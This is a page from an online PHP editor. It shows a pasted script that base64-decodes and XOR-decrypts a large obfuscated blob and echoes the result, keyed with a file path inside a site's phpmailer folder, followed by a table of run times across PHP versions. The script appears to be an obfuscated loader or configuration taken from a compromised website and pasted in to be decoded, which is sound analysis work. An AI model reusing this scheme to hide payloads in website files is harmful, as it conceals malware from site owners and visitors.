Online PHP editor | perf for ijhgM

<?php function b64d($input) { $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = ""; $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); //echo($enc2); //echo( substr($input, $i++, 1) ); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int) $chr1); if ($enc3 != 64) { $output = $output . chr((int) $chr2); } if ($enc4 != 64) { $output = $output . chr((int) $chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return $output; } function decode($data, $key) { $out_data = ""; for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } $config="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"; $key = "i8.co.nz/uprightbuilders/app/class/phpmailer/user71.php"; $data = b64d($config); //$data = base64_decode($config); //echo($data); $data = decode($data, $key); //echo($data); $data = @unserialize($data); echo($data); ?>

Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.016	0.010	17.13
8.3.5	0.008	0.013	21.28
8.3.4	0.011	0.007	19.21
8.3.3	0.012	0.006	19.14
8.3.2	0.006	0.003	20.78
8.3.1	0.005	0.005	22.03
8.3.0	0.007	0.004	20.80
8.2.18	0.015	0.006	17.00
8.2.17	0.004	0.014	22.96
8.2.16	0.017	0.003	20.51
8.2.15	0.007	0.003	24.18
8.2.14	0.000	0.009	24.66
8.2.13	0.006	0.003	21.09
8.2.12	0.006	0.003	26.35
8.2.11	0.004	0.008	20.99
8.2.10	0.004	0.011	18.16
8.2.9	0.003	0.007	19.33
8.2.8	0.003	0.009	18.16
8.2.7	0.008	0.003	19.47
8.2.6	0.007	0.003	18.05
8.2.5	0.003	0.006	18.34
8.2.4	0.003	0.006	20.72
8.2.3	0.003	0.006	19.52
8.2.2	0.009	0.000	18.25
8.2.1	0.000	0.010	18.24
8.2.0	0.000	0.010	18.02
8.1.28	0.012	0.012	25.92
8.1.27	0.006	0.003	22.16
8.1.26	0.005	0.005	28.09
8.1.25	0.006	0.003	28.09
8.1.24	0.000	0.012	22.31
8.1.23	0.010	0.007	17.89
8.1.22	0.010	0.000	17.88
8.1.21	0.004	0.007	18.77
8.1.20	0.007	0.004	17.60
8.1.19	0.007	0.003	17.48
8.1.18	0.005	0.005	18.10
8.1.17	0.003	0.007	18.90
8.1.16	0.000	0.011	20.70
8.1.15	0.003	0.006	22.13
8.1.14	0.003	0.006	19.79
8.1.13	0.009	0.000	17.80
8.1.12	0.006	0.003	17.87
8.1.11	0.000	0.011	17.74
8.1.10	0.004	0.008	17.77
8.1.9	0.003	0.006	17.76
8.1.8	0.000	0.009	17.74
8.1.7	0.003	0.006	17.82
8.1.6	0.006	0.006	17.92
8.1.5	0.007	0.004	17.73
8.1.4	0.003	0.010	17.86
8.1.3	0.004	0.007	17.94
8.1.2	0.000	0.010	17.94
8.1.1	0.004	0.007	17.85
8.1.0	0.007	0.003	17.68
8.0.30	0.007	0.004	18.77
8.0.29	0.003	0.006	17.13
8.0.28	0.000	0.009	18.59
8.0.27	0.008	0.004	17.41
8.0.26	0.006	0.003	17.09
8.0.25	0.006	0.003	17.29
8.0.24	0.006	0.003	17.25
8.0.23	0.003	0.006	17.29
8.0.22	0.000	0.009	17.16
8.0.21	0.003	0.007	17.09
8.0.20	0.000	0.010	17.20
8.0.19	0.007	0.004	17.22
8.0.18	0.003	0.007	17.29
8.0.17	0.003	0.007	17.15
8.0.16	0.010	0.000	17.29
8.0.15	0.007	0.003	17.19
8.0.14	0.003	0.006	17.23
8.0.13	0.000	0.010	13.68
8.0.12	0.000	0.010	17.12
8.0.11	0.003	0.006	17.05
8.0.10	0.006	0.003	17.11
8.0.9	0.000	0.013	17.22
8.0.8	0.014	0.011	17.18
8.0.7	0.007	0.003	17.21
8.0.6	0.010	0.000	17.24
8.0.5	0.005	0.005	17.09
8.0.3	0.017	0.024	17.60
8.0.2	0.009	0.025	17.40
8.0.1	0.005	0.005	17.21
8.0.0	0.010	0.026	17.13
7.4.33	0.005	0.002	15.55
7.4.32	0.003	0.006	16.93
7.4.30	0.000	0.010	16.87
7.4.29	0.000	0.009	16.83
7.4.28	0.004	0.007	16.70
7.4.27	0.005	0.005	16.98
7.4.26	0.000	0.014	16.95
7.4.25	0.006	0.006	16.73
7.4.24	0.003	0.006	16.94
7.4.23	0.003	0.006	17.02
7.4.22	0.007	0.019	17.04
7.4.21	0.009	0.009	16.90
7.4.20	0.004	0.007	16.84
7.4.16	0.011	0.025	16.80
7.4.15	0.012	0.021	17.40
7.4.14	0.011	0.023	17.86
7.4.13	0.006	0.031	16.92
7.4.12	0.010	0.024	16.87
7.4.11	0.006	0.027	16.66
7.4.10	0.010	0.021	16.91
7.4.9	0.010	0.026	16.85
7.4.8	0.007	0.033	19.39
7.4.7	0.013	0.020	16.62
7.4.6	0.007	0.025	16.81
7.4.5	0.009	0.009	16.98
7.4.4	0.013	0.020	16.83
7.4.3	0.010	0.026	16.95
7.4.0	0.007	0.013	15.36
7.3.33	0.003	0.006	13.65
7.3.32	0.000	0.008	13.67
7.3.31	0.003	0.007	16.61
7.3.30	0.000	0.010	16.73
7.3.29	0.008	0.012	16.69
7.3.28	0.008	0.015	16.72
7.3.27	0.004	0.028	17.40
7.3.26	0.008	0.028	16.73
7.3.25	0.012	0.025	16.86
7.3.24	0.007	0.032	16.69
7.3.23	0.013	0.023	16.91
7.3.21	0.006	0.029	16.63
7.3.20	0.009	0.023	16.75
7.3.19	0.010	0.026	16.83
7.3.18	0.003	0.031	16.71
7.3.17	0.009	0.024	16.74
7.3.16	0.009	0.024	16.79
7.2.33	0.016	0.016	17.05
7.2.32	0.009	0.024	17.05
7.2.31	0.016	0.019	16.93
7.2.30	0.009	0.035	16.99
7.2.29	0.015	0.018	16.80
7.2.6	0.010	0.010	17.22
7.2.5	0.007	0.007	16.94
7.2.0	0.000	0.018	19.58
7.1.20	0.004	0.014	16.14
7.1.7	0.000	0.016	17.50
7.1.6	0.000	0.013	17.38
7.1.0	0.003	0.083	22.46
7.0.20	0.100	0.010	15.11
7.0.13	0.013	0.060	22.05
7.0.12	0.010	0.080	21.96
7.0.11	0.003	0.067	22.07
7.0.10	0.010	0.057	22.02
7.0.9	0.003	0.067	22.20
7.0.8	0.007	0.060	22.09
7.0.7	0.010	0.070	22.06
7.0.6	0.010	0.067	22.05
7.0.5	0.010	0.060	22.10
7.0.4	0.007	0.070	22.15
7.0.3	0.010	0.060	21.95
7.0.2	0.013	0.060	22.06
7.0.1	0.007	0.063	22.03
7.0.0	0.017	0.053	22.19
5.6.28	0.010	0.070	21.13
5.6.27	0.013	0.070	21.05
5.6.26	0.017	0.077	21.14
5.6.25	0.003	0.077	20.88
5.6.24	0.013	0.067	20.84
5.6.23	0.007	0.077	20.84
5.6.22	0.013	0.067	20.82
5.6.21	0.000	0.080	21.12
5.6.20	0.000	0.077	21.06
5.6.19	0.000	0.080	21.03
5.6.18	0.003	0.080	20.97
5.6.17	0.010	0.070	20.84
5.6.16	0.010	0.067	21.04
5.6.15	0.003	0.073	21.00
5.6.14	0.007	0.073	21.12
5.6.13	0.000	0.077	20.84
5.6.12	0.007	0.070	20.96
5.6.11	0.000	0.080	21.07
5.6.10	0.010	0.070	20.86
5.6.9	0.010	0.103	21.04
5.6.8	0.000	0.077	20.44
5.6.7	0.017	0.067	20.47
5.6.6	0.007	0.070	20.50
5.6.5	0.007	0.070	20.32
5.6.4	0.010	0.067	20.23
5.6.3	0.007	0.070	20.23
5.6.2	0.010	0.070	20.25
5.6.1	0.007	0.070	20.39
5.6.0	0.013	0.090	20.21